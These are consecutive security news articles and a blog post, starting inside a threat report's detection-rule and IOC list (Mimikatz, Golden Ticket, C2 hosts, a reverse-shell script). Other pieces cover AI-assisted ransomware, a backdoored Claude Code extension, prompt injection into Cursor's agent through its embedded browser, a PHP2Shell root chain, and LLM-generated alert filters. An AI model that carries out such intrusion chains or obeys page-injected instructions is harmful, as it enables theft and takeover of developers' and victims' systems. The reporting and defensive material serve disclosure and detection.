• R450_41_Golden Ticket Attack
• R100_03_Traces of Mimikatz use via cmd

Lateral movement using WMIExec:

• R460_08_Lateral movement using WMIexec Impacket
• R460_09_Lateral movement using WMIExec and Impacket

For the rules to work, you must configure the SIEM system to receive the relevant events:

• Process launches (Windows security log – 4688, auditd – execve) and PowerShell commands (4104)
• User logins to the system (Windows security log – 4624, 4768, 4769)
• Various object manipulations (Windows security log – 4662, 4663, 4656; auditd – openat)
• Interaction with shared resources (Windows security log – 5145)

Indicators of compromise

File-based indicators:

CyberStrikeAI Windows Beacon D726A8B4886C636F76CA6D30EF6A6FF4 c:\windows\temp\svchosts.exe 2770562d104391b92b42671c270079bb c:\windows\temp\svcmon32.exe
c:\programdata\svcmon32.exe CyberStrikeAI Linux Beacon 09e1da2afa1216ecc55648ec8e122d2a 805B9E4AE74C903787416800999B8418 Tools & Scripts 29EFD64DD3C7FE1E2B022B7AD73A1BA5 C:\Windows\Temp\wdiag2.exe (mimikatz) 74F57B3E897A4960DCDD5B7E8A54F9DF c:\rwx\RogueWinRM.exe 0BBD08AF95F877F1D568B03DE2EB76B4 c:\ProgramData\p1.ps1 (reverse shell PS script)

Network indicators:

185.186.245[.]144 C2 for Windows Beacon fastcdn[.]bar C2 for Windows Beacon media.fastcdn[.]bar C2 for Linux Beacon 104.234.26[.]163 C2 for Payload Delivery + Linux Beacon

A n0n ransomware operator tried to break into 23 organizations across 14 countries, but couldn't secure its own front door, leaving its server exposed with all of its methods on view. The criminals used a mix of new (AI) and old (stolen credentials) tooling during their data-theft spree, and in some cases not only stole and encrypted files, but also deleted data and backups, eliminating victims’ ability to recover their information. And despite the fear and hype around the breachpocalypse, with AI finding and developing exploits for critical vulnerabilities affecting most organizations across the globe, these crooks did not exploit a single bug to gain entry into any of their victims’ IT environments. “In every documented compromise in this investigation, access relied on weak or stolen credentials,” said Ensar Seker, chief information security officer of threat intelligence firm SOCRadar. “What stands out is the combination of AI-assisted development and very conventional entry points,” Seker told The Register. “We found no evidence of vulnerability exploitation in the cases examined.” The gang breaks into organizations at scale using widespread Remote Desktop Protocol (RDP) scanning and automated FortiGate SSL-VPN credential stuffing. To access US-based IT managed services provider ChiBiTek, the crew used a 15-thread residential SOCKS5 proxy pool to test credentials (ip:port:user:password) against FortiGate portals (GET /remote/login). The operators also gained entry using exposed cloud credentials and reused hosting portal sessions. In one case linked to e-commerce site Fanatics, SOCRadar found that n0n used an exposed AWS access key with permissions to list, read, and delete objects in S3 buckets. The criminals then used this key to pull data from 40 S3 buckets, with up to 110 GB per bucket, and ultimately deleted data, including bank-transaction archives, and purged keys across 12 sensitive buckets. AI-assisted extortion While the threat hunters didn’t find any evidence of a fully autonomous attack system, the ransomware operator did use AI to assist with these intrusions, incurring more than $7,216 in AI usage costs by October 22. Specifically: the criminal or criminals used OpenCode, an open-source AI coding agent, configured with 154 model entries across seven providers. Models included Gemini, Mistral, Nemotron, Llama, Claude, GPT-5.x, Grok, Kimi, GLM, DeepSeek, MiniMax, Qwen, and many, many others, some with safety training removed and others marketed as “uncensored” models. “The operator used AI to write and debug hundreds of scripts. That shows how AI can help an attacker turn basic access into a broader, tailored operation,” Seker said. “The destructive behavior is equally significant,” he added. “The operator did more than steal and encrypt files: in some cases, it deleted data and backups, and in one case changed firewall policies to block traffic. That creates a recovery problem that a decryption key alone cannot solve.” SOCRadar’s threat hunters found the operator’s workspace - a publicly accessible Python HTTP file server hosted in Sweden at 185.157.161[.]148 on port 8877 - last month, and documented the exposed directory in snapshots on September 25 and 26. “Across those snapshots, we identified 1,719 files, including attack scripts, ransomware source code, extortion infrastructure, and an AI coding agent environment,” Seker said. “This gave us visibility into the operation behind the victim listings, including how the operator prepared attacks and handled stolen data.” Meet n0n It also provided a close look at n0n, a newcomer to the data-theft and extortion game that has claimed 108 victims since it emerged last month. On October 12, the group added 38 maritime, port and logistics organizations across 18 countries to its leak site in a single batch. Researchers have linked at least 21 of them to customers of South Korean maritime software provider CyberLogitec, although the software provider has not confirmed an intrusion. The crooks set an October 19 deadline for the maritime firms, with ransom demands ranging from $400,000 to $28 million, payable in Bitcoin. After the deadline, however, none of the 38 listings were marked “settled” and none of their payment addresses showed any transaction. All affected organizations’ stolen data was published. While a handful of the gang’s claimed victims have been marked “honored - data destroyed” on n0n’s leak site, indicating the victim orgs paid the ransom demand, SOCRadar hasn’t validated any transactions on-chain. In its profile details, the security shop rates the gang a 10 out of 10 for "aggressiveness" and a zero out of 10 for “lethality.” The group is believed to be based in Russia, although the server uncovered by SOCRadar, which it attributed to a single operator or small team, didn’t provide any definitive geographic or national attribution. Every case that the exposed server documented followed the same lifecycle, moving from initial access to establishing persistence and credential collection via hidden admin accounts disguised as services, covert proxies, credential and session-token theft, mailboxes and emailed multi-factor authentication codes. The crooks then collected sensitive data and sent everything to the operator’s central storage with the attack impact shifting between data-theft, encryption, destruction, and network disruption, depending on the targeted organization. After breaking into Transcom, a Netherlands-based financial services provider, the crims sent a secondary ransom alert directly to PayPal's security team, even though the compromised data was only on Transcom's network. Stupid mistakes and n0n security basics Finally, the crims send ransom notes, post a countdown clock on the leak site, establish negotiation rooms and emails for victims - and then leak the stolen files or destroy backups when the organizations don’t pay up. In some cases, and to apply increased pressure on victimized companies, n0n also broadcasts automated countdown warnings to businesses’ service providers, clients, and media outlets. Despite its aggressive tactics, the operator in this case - as with other stupid criminals The Register has gleefully documented in earlier stories - still struggles with basic security hygiene. “There is a striking gap between operational ambition and security discipline,” Seker said. “The operator invested thousands of dollars in AI services while leaving its own workspace exposed. The locker also contained hardcoded encryption keys, with evidence suggesting reuse across victims. An operation can have serious destructive capability while still making fundamental mistakes.”®

General Motors is taking what looks like a light slap on the wrist from a coalition of 35 states and the District of Columbia after agreeing to settle allegations that it collected drivers' data without proper consent and sold it to data brokers that supplied insurance companies. The Washington state AG's office said on Thursday that GM had reached a $220 million settlement with 36 attorneys general over the automaker's collection and sharing of driving data, including precise location information, speed, seatbelt use, and other metrics. According to investigators, GM sold that data to brokers, which in turn supplied it to insurance companies that could use it to set customers' premiums, without drivers' informed consent. For reference, the $220 million settlement, which will be distributed among the participating jurisdictions, equates to less than 7 percent of GM's $3.3 billion in net income attributable to stockholders for its third quarter, which ended on September 30, 2026. Don't spend it all in one place, y'all. The settlement comes more than two years after a 2024 New York Times investigation found that GM had been selling the data collected from vehicle owners through its Smart Driver program. That program, part of GM subsidiary OnStar’s offering, collected the aforementioned data and handed it back to vehicle owners in reports designed to inform better driving habits. Unbeknownst to Smart Driver subscribers, their data was also being forked over to data brokers despite GM telling customers it wouldn't share that information with insurers without their express consent. The insurers ultimately obtained the data by purchasing it from brokers with which GM had struck deals. To make matters worse, the Washington AG's office said GM incentivized dealerships to enroll customers in Smart Driver, with employees in some cases accepting terms and conditions on customers' behalf without their knowledge or consent. GM also failed to notify many drivers that their information was being collected and shared. Its OnStar app incorrectly told more than 370,000 drivers they were not enrolled in Smart Driver, even as GM continued collecting and selling their data, according to investigators. “The data GM sold was personal, identifiable, and specific,” the AG’s office said. GM canned the Smart Driver program in April 2024, just over a month after the New York Times exposed its data-sharing practices, citing customer feedback. In addition to the monetary pittance it’s handing over to the states, GM also agreed with the 36 AGs to limit the driving data it collects, better protect customer PII, and establish a "comprehensive data privacy program.” The Washington AG’s office described its settlement as “significantly stronger than any other resolution reached with GM for this conduct.” Speaking of those other terms, GM finalized its settlement of the same allegations with the Federal Trade Commission in January 2026. The FTC order required GM to obtain drivers' express consent before collecting, using, or sharing covered driving data, subject to certain exceptions. It also required the company to offer a simple way for drivers to request a copy of their data, request its deletion, and disable precise geolocation data collection where their vehicles support it. The state of California separately reached a $12.75 million settlement with GM in the matter in May; a separate case in Texas is ongoing. “This agreement … reinforces steps we’ve taken to strengthen our privacy practices,” a GM spokesperson told The Register, though the company noted that it still stands by driver data collection as a best practice. “Safer, more helpful and personalized experiences are enabled by connected vehicle data, and GM is committed to being clear about what information is used, how it’s protected, and the choices customers have about what they share,” the spokesperson added. ®

Anthropic has denied allegations that a malicious version of the official Claude Code extension published to Cursor’s marketplace was linked to any kind of compromise of its own systems. The company was forced to issue a statement after prominent figures in the cybersecurity industry alleged that the extension, which infected up to 5,000 developers, was uploaded to Cursor’s marketplace following a breach at Claudemaker Towers. Felix Rieseberg, a member of Anthropic’s technical staff, Xeeted today: "We're working with Cursor on this incident, but it wasn’t a compromise of Anthropic's systems or employee laptops. "A malicious actor used access to Cursor's marketplace to publish a tampered copy of the Claude Code extension, which we didn't build or publish. The versions on our official channels are not affected, and this only impacts Cursor users." First spotted by EDR vendor Phorion, an unknown party pushed an update to Cursor's official Claude Code extension for Visual Studio Code that contained a persistent SSH backdoor written for Windows, macOS, and Linux. According to Cursor, the extension – version 2.1.313 – was available to download for around 11 hours between 0227 and 1335 PT (0927 and 2035 UTC) on Thursday. The vendors' analyses of the implant revealed that it collected information about the host machine and user, including usernames, configured Git emails, and public IP addresses, as well as attempting to open a reverse SSH tunnel. Crucially, Cursor echoed Phorion's assessment that the package contained a critical flaw. The script responsible for opening the SSH tunnel required admin rights on macOS and Windows to do so, and in the vast majority of cases it did not have these, resulting in failure. Regardless, the extension still forwards the collected host and user data to the attacker, as well as dropping the attacker's SSH key and installing the persistence mechanism, so developers must go threat hunting in case their instance allows for the SSH tunnel to be created successfully. Simply installing the latest version of the extension is not enough to clear the persistence mechanism, either. The full details of how to remediate the issue, and links to download scripts to wipe the infection, are laid out in Cursor's account of the situation. Aside from Rieseberg's statement today, neither Cursor nor Anthropic have commented on how the malicious package made its way to the official marketplace. Anthropic's position is that a malicious actor uploaded the tampered copy to Cursor, but the latter has not outlined how it reached the marketpplace. "[We] removed the malicious version from the marketplace immediately upon detection and blocked further distribution," Cursor said in the advisory. "We followed with a full shutdown of the VSCode Marketplace out of an abundance of caution." It also ran checks to confirm no other extensions were compromised in the same way, rotated its own keys before restoring the marketplace, and worked with a cloud hosting provider to block the connection to the attacker's server, it said. ®

Thousands of GCHQ storage drives containing sensitive data have been lost for years, and the British signals intelligence agency still cannot explain where they are. According to the Investigatory Powers Commissioner’s Office’s (IPCO) annual report, the missing storage drives have been known to officials for years, and may contain data related to the Investigatory Powers Act (IPA). "I remain concerned that GCHQ has not yet established a sufficiently clear understanding of the scale, location, and recoverability of lost removable media that may contain IPA-related data, notwithstanding that the underlying issues were first drawn to my attention several years ago," wrote investigatory powers commissioner Lord Brian Leveson. "While I recognize the technical and practical challenges involved, the passage of time without a comprehensive account heightens the importance of sustained senior focus and assured remediation. Given the potential sensitivity of the material involved, I will continue to monitor progress closely.” Described as "a very significant number," the report notes that GCHQ has scoped the maximum number of potentially lost drives, but is unaware of the exact scale of the issue. The agency has embarked on "a program of further work" to locate as many of the lost devices as possible, which includes implementing an automated asset-tracking system by the end of the year. After this is up and running, it said it will be able to provide a more precise number of lost drives. A GCHQ spokesperson told The Register: "As IPCO have reported, our management system for removable media was previously not sufficiently robust to effectively track the items that were registered for use. IPCO are right to note the flaws in the data the system produced, and we have taken action against all their recommendations. "We recognize the importance of security of removable media in our systems, and have a range of measures to mitigate the risks posed by these items. The findings in the report have been addressed comprehensively, and all necessary steps to correct this issue have been taken." Peter Sommer, digital forensics expert and visiting professor at de Montfort and Birmingham City universities, told us: "Bearing in mind the sort of highly sensitive data collected and processed by GCHQ IPCO is right to be very concerned, the more so as the issue is already several years old. Vast quantities of data can be stored on the cheapest lowest cost hard disks and cards. At a much more modest level as an expert witness I know how important it is to keep careful track of the data entrusted to me." Losing important devices is not an achievement that's exclusive to GCHQ. Myriad stories like this have emerged from all corners of the public sector over the years, such as the British Minidstry of Defence misplacing USB drives containing secret information in the mid-noughties, civil servants routinely losing their BlackBerry handsets, and UK police losing thousands of devices, too. The missing storage drives comprise just one of the agency's various transgressions highlighted by IPCO in its report. There are also "significant concerns" over the lax safeguards used to restrict the UK's overseas partners when accessing bulk-intercepted data collected by GCHQ. IPCO was satisfied at how GCHQ ensured its own analysts remained compliant with safeguards around accessing confidential material related to journalism, journalistic sources, and privileged legal information. However, there were concerns around how these same safeguards were applied to its international partners, which have access to its so-called bulk data interception "product." The report notes that most partners were properly restricted from accessing such material, although an internal probe found that there were inadequate arrangements in respect to one partner and their access to journalistic material. Both GCHQ and the overseas agency committed to rectifying the situation. GCHQ was also questioned after a software bug in a web app "used by a relatively small section of the public" misidentified individuals thought to be participating in terrorist activities. The agency identified and reported the flaw in the software, which it used for "target discovery work," and although it only affected a small number of individuals, the errors led to five port stops made under the Terrorism Act and caused "serious prejudice" to the victims. A port stop, for the uninitiated, involves law enforcement detaining a suspect at a UK port, airport, train station, or within one mile of the Northern Ireland border, and can be carried out without suspicion. Once detained, individuals have a legal responsibility to provide passwords to their electronic devices, which can be seized for up to seven days, and in some cases have their biometric markers taken. Failure to comply can lead to a three-month prison term. IPCO ruled, however, that there was ultimately no error made as defined by the IPA. “This is because the activity was lawfully authorised under an interception warrant and the adoption of an unintentionally and unforeseeably imperfect target discovery methodology did not constitute such an error,” the report stated. Despite the agency’s vast technical expertise, IPCO said that the issue affecting the software was not foreseeable. GCHQ was not the only offender among the UK intelligence community (UKIC), with MI5's mishandling of the infamous Agent X case taking center stage in the report. Agent X was an anonymous MI5 informant whose real identity has never been publicly released. A secret inquiry by IPCO as well as the report revealed that MI5 managed Agent X despite knowing he was a violent misogynist obsessed with extreme violence. Lord Leveson said "the case of Agent X is as serious as anything I have dealt with as Commissioner," after MI5 gave false evidence to the High Court and Investigatory Powers Tribunal to protect a foreign neo-Nazi informant who was under police investigation for abusing his partner, referred to publicly as "Beth." ®

A modern organization protects its information systems with a whole suite of technologies that generate thousands of security alerts every day. Looking at these alerts in bulk, you’ll see that a significant share are false positives. Ideally, these alerts would be filtered out automatically so that analysts could focus on the ones that may point to a real incident. However, writing filters is a time-consuming task in itself. To create a correct filter, an analyst needs to:

• Review the logs
• Identify the source of the activity
• Define filtering boundaries
• Choose filtering criteria
• Write a rule
• Check that the filter is robust

This post looks at how filter creation itself can be automated to reduce analyst workload.

Filter validity criteria

In the context of security alerts, a filter is a combination of event field values that marks a detection as a false positive and not worth the analyst’s attention. Filters can be generated for any combination of event fields, but not every combination yields a valid filter. That’s why we need to define validity criteria: conditions showing that a specific filter actually removes noise and doesn’t suppress useful alerts.

Detection rules in security systems typically contain a set of conditions, and each of them can generate an alert. A specific event triggers a given fragment of a detection rule. The set of events that a given fragment responds to is what we’ll call its context. A good filter should cover the entire context where possible, without going beyond it. Filters that are too broad or too narrow are useless. For example, a filter based solely on PowerShell would exclude too many events, including some that deserve the analyst’s attention. Most of the filtered events would also be unrelated to the rule in question. A filter on a specific ID, on the other hand, would cover only one event, which may never recur.

Problems in filter generation

We can run into a number of problems when creating filters. First, events often contain an excessive number of fields (around 400 on average), and most of them aren’t needed for filtering. At the same time, generating and ranking combinations of these fields is also fairly resource-intensive. So, the first step is to discard the irrelevant fields and keep only those worth using in the filter. For example, out of 400 fields in an event, four may be enough for filtering.

Another problem is string normalization. Field values (for example, the path to the same application on different systems) can vary depending on system settings, user folder names, and so on. For a filter to account for all these variations, the strings must be normalized. For file paths, in particular, you can replace the drive letter and user folders with standard environment variables and convert all paths to a single case.

Finally, if a filter completely mirrors the query of a detection rule, it effectively disables that rule. To fix this, remove the event fields used in the detection rule from the filter. For example, if a rule triggers on a file path, there are two ways to filter out unwanted alerts:

• In the filter, use fields other than the file path.
• Use a part of the file path that the rule doesn’t use. For example, for the rule file_path: ".../something.exe", you can set up a filter that excludes events with the user/unique_files/ directory in the file path.

Filtering security alerts with an algorithm

Given the problems described above, automatically generating filters for security alerts should consist of the following steps:

1. An analyst receives a security alert that they assess as a false positive and uses the filter generator.
2. The generator takes the 400-field event from the alert, along with the rule that triggered on it, and determines the context.
3. The generator selects the fields that are relevant to the filter.
4. The generator normalizes the strings.
5. The generator builds different combinations of the selected fields. To do this, we applied the FP-Growth (frequent pattern growth) algorithm to the context determined earlier. FP Growth builds a tree of frequently occurring items (fields) from a dataset (in our case, the context) and discards items that aren’t frequent enough. This reduces the number of combinations to check, which lowers the cost of finding the most relevant ones.
6. The generator ranks the resulting combinations and offers the analyst the top three to choose from.

For example, consider an event described by the following JSON:

After generating and ranking the combinations, we got three filters based on file paths:

• processcmdline:("nodejs\\node.exe" AND "*****\\appdata\\roaming\\npm\/node_modules\/pi-coding-agent\/dist\/cli.js")
• file_path:"*****/.pi\\agent\\bin\\fd.exe"
• processcmdline: "programfiles\\nodejs\\node.exe"

The last filter turned out to be too broad, but the analyst marked the other two as valid.

Pros and cons of the algorithmic approach

The algorithmic approach to filter generation has several advantages. First, it’s simple and deterministic: the same alert always produces the same result. Second, it’s interpretable, meaning we can see why a given combination ranked near the top of the list and why a particular field didn’t make it into the list of candidate fields at all. Third, the stages of the process are independent of each other, so individual steps can be improved and tuned without the risk of breaking the algorithm elsewhere. Finally, it has no external dependencies or models, which makes it easy to deploy in any customer environment.

However, it also has drawbacks. The first is its dependence on context. If there’s no context for some reason — for example, the rule’s first-ever trigger — a filter can’t be created. The second problem is string normalization. There’s a high chance of running into atypical cases that the normalization rules don’t cover. Often such cases can’t be described correctly at all, because they contradict each other.

These problems can be solved with large language models (LLMs). When an LLM generates the filters, no context is needed, because the LLM doesn’t iterate over or rank combinations. The LLM also takes a more flexible approach to string normalization, including non-standard cases. That said, an LLM doesn’t have to be involved at every stage of the generation process. We decided to keep the algorithmic solution where it works well. For example, a simple algorithm selects suitable fields without errors, so we didn’t move this stage to the model.

Filter generation with an LLM

The LLM-based filter generation looks like this:

The input is still an alert containing an event with 400 fields, plus the rule that triggered on that event. Then an algorithm selects the most suitable fields for the filter. Next, the LLM processes the input — the event, the selected fields, and the detection rule — and generates three filter options along with an explanation for them. The explanation helps the analyst understand why these particular filters were suggested and make an informed choice.

Consider the following event in JSON format:

The LLM suggested three filter options that all contain the same command line fragment:

• file_path: "\\WindowsPowerShell\\powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"
• filecmdline: "Get-VM -Name kafka\*"
• filecmdline: "kafka*"

As in the previous example, two of the three output filters were valid. The last one was too broad to be usable. The analyst chose the first filter with minor edits:

file_path: "powershell.exe" AND filecmdline: "Get-VM -Name kafka\*"

Pros and cons of generating filters with an LLM

Using an LLM solved the problems of purely algorithmic filter generation: dependence on context and errors in string normalization. However, the single-request approach had its own drawbacks. First, it had no output validation. The LLM returned filters as-is, with no syntax check and no way to correct errors. Second, unlike in the algorithmic version, all filter generation tasks were handled by a single system prompt. As a result, a minor fix in one place could break the logic in another.

Using multiple AI agents

To address the problems of generating filters with a single model and a single system prompt, we tried distributing the tasks across different LLM agents. In this version, we brought in agents as early as the stage of selecting relevant fields. The chain includes four agents in total:

• Selector: selects the relevant fields.
• Generator: generates filters.
• Validator: evaluates the generated filters. If the filters are found to be invalid, it returns the task to the generator. If the selected fields are found to be irrelevant, it starts a new field selection cycle. If the filters pass validation, or the limit on regeneration attempts is reached, the valid filters (or the best ones available) are passed to the analyst.
• Commentator: analyzes the output filters and explains which field values were used and why.

For the following JSON event, the agents produce three valid filters based on the file path.

The filters differ in the additional parameters that support the detection:

• file_path:"sysvol\\domain\\scripts\\logon.bat"
• file_path:"sysvol\\domain\\scripts\\logon.bat" AND file_md5:"0x7..6E"
• autorun_entry: "Group Policy\\State" AND file_path: "SYSVOL\\domain\\scripts\\logon.bat"

Pros and cons of the agent-based approach

LLM agents give us a system that can validate and correct filters. Its modular architecture also lets us tune and improve different stages of generation independently. However, this approach makes more LLM calls than the previous ones, so the system is slower. It also depends on access to a model, which may not be available in the organization’s isolated environment.

Evaluating the filter generation system

To evaluate how well the filter generation system works, we use two main metrics:

• Approval rate. For each security alert, the system suggests three filters. If the analyst selects at least one of them, we count the generation as successful. For example, in the case below, the approval rate is 2/3.
  
• False positive reduction rate (FP drop). This metric shows how much a filter helps reduce the number of false positives. It can only be measured over time, because we need to compare the number of false positive alerts received during a set period before and after the filter is deployed.

Below is a comparison of the three filter generation approaches by these metrics:

As the results show, LLMs significantly improve the efficiency of filter generation. At the same time, the LLM agentless and agent-based approaches perform almost identically. So we chose the simpler and faster option: an LLM with a single system prompt. As a result, we cut false positives by 99%, increased the number of filters generated per day by 28%, and made analysts’ alert handling 17% more efficient.

Takeaways

Practice has shown that filter generation can be automated effectively. We’ve looked at several options for automatically generating filters for false-positive security alerts: a purely algorithmic approach, an LLM-based approach, and an approach built on a group of LLM agents. All of them can generate valid filters and make the analyst’s work much easier, but each has its own pros and cons.

The algorithmic approach scored lower on the evaluation metrics, but in two-thirds of cases, it still produces filters that satisfy the analyst. It works especially well when there’s already a set of similar events to filter out, meaning enough context has accumulated. The algorithmic generator can also be deployed in any environment. Both standalone LLM and multi-agent LLM approaches show high accuracy, and their results differ only slightly, so the slower agent-based approach looks excessive at this stage. If an LLM is available, the best option appears to be a single model that handles several stages of the generation cycle.

Crypto exchange Binance has paused trading after discovering unknown parties cracked one of its workers’ laptops and used it to make massive trades. Late on Thursday, US time, the company used its social media feeds to report “Our teams are aware of reports of a potential security issue and are actively investigating.” The exchange insisted “User funds are completely safe” and warned its customers “should remain cautious of scams and should not trust unofficial links, messages, or requests for account information.” The company soon froze $2.5 billion worth of assets and warned that the figure could go higher “as our teams work closely with law enforcement, issuers, blockchain intelligence firms and industry partners to trace and freeze additional assets.” To prevent the matter worsening, Binance halted all trading, deposits, and withdrawals. It also promised to cover any losses. About an hour ago at the time of writing, Binance posted an update on the incident that explains what it thinks went wrong. “Binance's initial investigation suggests that the security incident may involve a compromised DevOps engineer’s laptop, which allowed an attacker to gain access to a service container and submit unauthorized withdrawal transactions,” the post states. The company also hiked the amount it thinks is at risk to $6.3 billion and repeated its promise to cover any customer losses. The update also says Binance found no evidence of any wallet private key leak, suggesting that customers’ holdings remain secure. When they can use them again, as Binance is yet to resume trading. Binance hasn’t explained how attackers gained access to the engineer’s laptop. The scant details provided make it hard to rule out a successful phishing attack, or perhaps a supply chain attack on a package the developer used. Binance says it will spill once it knows exactly what happened. Cryptocurrency outfits have a long and inglorious history of falling victim to cyberattacks, perhaps starting with the 2011 raid on Mt Gox, to incidents allegedly perpetrated by nation-states, and, just last week, another situation possibly involving an AI-powered attacker. ®

Multiple vulnerabilities in five popular AI developer tools could allow attackers to execute code on a host machine, read and steal files, or spoof browser address bars. Researchers say flaws in OpenAI's Codex and Microsoft's VS Code remain unpatched, potentially putting developers who use affected configurations at risk. AI security startup Forever Security discovered vulnerabilities in Cursor, GitHub Copilot, Anthropic's Claude Desktop, VS Code, and Codex, and disclosed four of the flaws to the affected vendors. GitHub independently fixed the Copilot vulnerability without receiving a report from Forever Security. All five share a common security weakness: embedded browsers granted capabilities beyond those available to conventional browsers. Each tool “enriched its embedded browser beyond what a normal browser allows, and those enrichments undermined the traditional threat model - as agent input, as the authority on a tab’s own address, or as reach onto the host,” Forever researcher Gal Weizman wrote in a Thursday report. Forever dubbed this class of vulnerability “Embrace,” short for EMbedded BRowser, and said the flaws led to code execution in Cursor, data theft in Claude Desktop, Codex, and VS Code, and address bar spoofing in GitHub Copilot. Here’s what each of these looks like, starting with Cursor. Cursor: arbitrary code execution Typical web pages can’t run commands on the host computer because a web page’s JavaScript cannot talk to local apps. Cursor’s integrated browser, however, allows a page to call the agent’s composer. The agent reads this as instructions and follows them, but the instructions remain hidden from human users. This opens the coding agent up to prompt injection attacks that could allow an attacker to execute commands on the host machine. The researchers disclosed the vulnerability to Cursor on September 10, and the vendor silently patched the flaw on October 1. According to Forever, Cursor did not publish a security advisory about the issue or respond to the researchers' disclosure. Cursor also did not reply to The Register’s request for comment. GitHub Copilot: address bar spoofing Under normal browser operations, a webpage cannot change the content of the address bar. “Copilot’s browser preview works differently,” Weizman wrote. “Some pages change their address without loading a new page, and the app cannot always see that. So Copilot let the page tell the app its own address.” The app checked only whether the text looked like a web address, starting with http, https or file, but it didn’t check where the tab really pointed to. This can be abused to trick the embedded browser into displaying a spoofed URL - such as github.com/login - in the address bar, while loading a fraudulent website - like a phishing page - underneath. The researchers found the address-bar spoofing flaw in GitHub Copilot 1.1.27 on September 26. GitHub independently fixed the flaw in a later Copilot build (1.1.29) on October 13 without receiving a vulnerability report from Forever. We reached out to GitHub and did not receive a response. Claude Desktop, Codex, and VS Code: arbitrary file read All three of these vendors’ coding assistants allow local HTML files opened in the built-in browser to escape its boundaries and access other files. Both Claude Desktop and VS Code allow local pages access to their respective project folders, but the researchers found that these restrictions did not apply to web workers – a browser feature that allows JavaScript to run in a background thread, separate from the page's main thread. This means a local page can start a worker, and the worker can bypass restrictions to reach any file on the machine. Codex, however, didn’t have this same restriction, meaning a local page could read any file directly without a worker. Weizman said his team disclosed the issue to Anthropic on July 23, and the AI vendor declined the Claude Desktop bug report as invalid for a “workspace trust” gated security boundary. A day later, however, Noma Security reported the same flaw, according to Weizman, and Anthropic accepted the report as valid. Anthropic did not respond to The Register’s questions about either bug report or Forever’s timeline of events. Forever disclosed the Codex bug to OpenAI on July 27 and didn’t get a response. The flaw remains unpatched, but an OpenAI spokesperson told The Register that it's aware of the issue and working to address it. On September 10, Forever disclosed the VS Code vulnerability to Microsoft and says the vendor also labeled it as an invalid workspace trust gated security boundary issue. The researchers claim it remains unpatched. Microsoft did not respond to our request for comment.®

Suspected Chinese attackers chained PHP2Shell with a Linux kernel privilege-escalation exploit to root 25 servers, including Palo Alto Networks firewalls linked to US government-affiliated organizations, according to Dream researchers. The snoops began exploiting these servers on October 23, targeting organizations across the US, Japan, Taiwan, and South Korea. The attackers also honed in on US government-affiliated firewalls. “Within hours of compromising a US government-affiliated firewall, they had tunneled into the internal network, compromised a third server using the same PHP2Shell exploit, and launched a full Active Directory attack campaign - all through a chain that started with a single unauthenticated HTTPS request to a management interface that should never have been exposed to the internet,” the Israeli AI cybersecurity startup said in a report. Plus, the attackers “likely still” have persistent, remote access to compromised organizations’ networks, Dream noted. The attackers rooted the first US government-affiliated firewall on October 23, but the device crashed shortly afterward, possibly due to around 900 MB of exploit traffic. According to Dream, it remained unresponsive despite 240 automated checks over two hours. They successfully exploited the second firewall a day later, on October 24. The compromised firewalls ran vulnerable versions of Palo Alto Networks' PAN-OS. Dream said it had been working with the vendor to investigate the compromises, and Palo Alto Networks' Unit 42 researchers independently verified the attacker's tooling and confirmed Dream's reported results. To break into the firewalls, the attackers built a custom exploit chain that includes PHP2Shell and a Fragnesia kernel flaw, and ran about 40 custom post-exploitation scripts once they were inside the targeted organizations. Total attack chain in under 15 minutes PHP2Shell, comprised of CVE-2026-109618 and CVE-2026-109619, came to light early last week, along with fears that attackers would abuse the bugs to take down most of the internet. Despite “hundreds” of PHP2Shell proof-of-concept repositories on GitHub, the first reports of successful attacks didn’t start until Saturday. Both bugs have CVSS scores of 9.2 and can be exploited without authentication to run code on vulnerable PHP servers. The PHP2Shell exploit recovered by Dream was not a copy of any known public exploit. It “appears to have been independently developed and tailored specifically for the targeted firewall platform,” the researchers wrote. The attackers combined PHP2Shell with Fragnesia (CVE-2026-46300), a high-severity local privilege-escalation vulnerability affecting the Linux kernel's XFRM ESP-in-TCP subsystem. The US Cybersecurity and Infrastructure Security Agency (CISA) added this Linux kernel bug to its catalog of Known Exploited Vulnerabilities on Wednesday. Both CISA and the FBI declined to comment. The miscreants developed a four-stage PHP2Shell exploit that allowed them to execute commands without authentication on vulnerable Palo Alto Networks firewalls. They then used Fragnesia to escalate their privileges and gain root access. The attackers targeted PAN-OS 12.1 and 12.2, which run PHP 8.0.30 with a high memory limit that enabled the exploit's memory-corruption stages. “The total chain - from unauthenticated HTTPS connection to persistent root webshell - completes in under 15 minutes,” the Dream team wrote. 4 steps to root Here’s how it works: First, they flood the servers with crafted multipart POST requests to corrupt PHP’s memory, and force a predictable memory layout. Then a second request forges the stale session ID length from the memory corruption part of the attack, forcing an out-of-bounds read and exposing the base address of libphp.so in the running process. The attackers then exhaust PHP's memory again to force mod_data=NULL, creating a stale reference they can forge in the final stage to execute commands as the nobody user. They use Fragnesia to escalate to root and plant a web shell in a publicly accessible directory on the firewall. After breaking in via the compromised firewalls, the attackers snooped around in Active Directory, stealing credentials and other sensitive information. With root access, the attackers also had the master key to decrypt the LDAP service account password, which they hardcoded into every subsequent script. They also enumerated every user and group in the domain via LDAP queries, and sprayed passwords against every user account. Attackers also tried to create backdoor AD accounts and attempted SAML signing key extraction - but Dream doesn’t know if these were successful. “The attack results - whether the password spray found valid credentials, whether the backdoor accounts were created, whether SAML keys were extracted - stayed on the management server's local filesystem and were not among the artifacts we recovered,” the researchers noted. AI tools in the attack The investigation also uncovered evidence that the attackers used AI tools, but noted that this was not a fully autonomous attack. The researchers found Anthropic's Claude Code installed, an AI-powered offensive security platform called aiscan configured with Chinese models DeepSeek and Kimi, and API keys for the FOFA reconnaissance service. FOFA is a Chinese internet asset search engine similar to Shodan. The attackers used it to identify about 19,000 internet-facing Palo Alto Networks firewalls worldwide. “The persistent tunnel into the US government organization is likely still running,” Dream warned. “And the attacker still has 19,000 fingerprinted targets they can revisit as they develop profiles for additional PAN-OS versions.”®

